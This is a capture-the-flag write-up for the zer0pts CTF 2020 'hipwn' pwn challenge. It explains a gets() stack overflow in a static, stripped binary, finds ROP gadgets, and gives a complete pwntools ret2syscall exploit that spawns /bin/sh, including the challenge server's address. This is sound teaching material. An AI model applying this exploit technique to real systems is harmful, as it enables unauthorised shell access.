[zer0pts CTF 2020] hipwn
Author: @ret2basic-PwnieIsland
Topics: ROP (ret2syscall)
Challenge
Hi, all pwners over the world!
chall
main.c
Recon
$ file chall
chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped
Note that this binary is statically linked, so we can't use ret2libc. In addition, this binary is stripped, so we know nothing about the function names.
$ checksec chall
'/root/Dropbox/Pwnie-Island-Wargame/zer0pts_CTF/Pwn/hipwn/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Since NX is the only protection turned on, this challenge can be solved with some ROP technique.
Source Code
```c=1
include <stdio.h>
int main(void) {
char name[0x100];
puts("What's your team name?");
gets(name);
printf("Hi, %s. Welcome to zer0pts CTF 2020!\n", name);
return 0;
}
Obviously `gets(name);` triggers stack overflow that allows us to control EIP.
## Analysis
Since the binary is statically linked and stripped, the first thing we should try is **ret2syscall**. To learn more about ret2syscall, check out [ret2syscall Cheat Sheet](https://hackmd.io/@PwnieIsland/ret2syscall-cheat-sheet).
Let's look for necessary ROP gadgets:
![ROPgadget](https://i.imgur.com/cDPZclB.png)
However, the string `/bin/sh` is not inside the binary:
![No "/bin/sh"](https://i.imgur.com/JE8cixl.png)
This makes the challenge slightly difficult. What we have to do here is to pass the string `"/bin/sh"` to the `.bss` section. The address of `.bss` can be easily found using Pwntools (`bss = elf.bss()`). Since the binary contains the function `gets`, we can call `gets(bss)` to open a STDIN session and pass the string `"/bin/sh"` from here.
Next, we need to find the address of `gets`. But the binary is stripped, so how do deduce the location of this address? First **disassemble** the binary:
```shell
$ objdump -D -M intel chall > disassembly.asm
We know that the SIGSEGV happens at 0x40019c
:
So gets
must be happening a few instructions before this point. Search 40019c
in the disassembly:
There are three functions get called here:
0x40062f
0x4004ee
0x400591
According to the source code, we can deduce the correspondences based on the order that functions get called:
0x40062f
=> puts
0x4004ee
=> gets
0x400591
=> printf
So the address that we are looking for is 0x4004ee
.
Now we have everything ready for the ret2syscall attack.
Exploit
```python=1
!/usr/bin/env python3
from pwn import *
--------setup--------
context(arch="amd64", os="linux")
elf = ELF("chall", checksec=False)
local = True
if local:
r = elf.process()
else:
host = "13.231.207.73"
port = 9010
r = remote(host, port)
--------Addresses--------
pop_rax = 0x0000000000400121
pop_rdi = 0x000000000040141c
pop_rsi_pop_r15 = 0x000000000040141a
pop_rdx = 0x00000000004023f5
syscall = 0x00000000004003fc
bss = elf.bss()
gets = 0x4004ee
--------ret2syscall--------
offset = 264
payload = flat(
b"e" * offset,
Round 1: call gets(bss)
pop_rdi, bss,
gets,
# Round 2: call execve("/bin/sh", 0, 0)
pop_rax, 59,
pop_rdi, bss,
pop_rsi_pop_r15, 0, 0x13371337,
pop_rdx, 0,
syscall,
)
r.readuntil("What's your team name?\n")
r.sendline(payload)
r.sendline("/bin/sh")
r.interactive()
###### tags: `Pwn`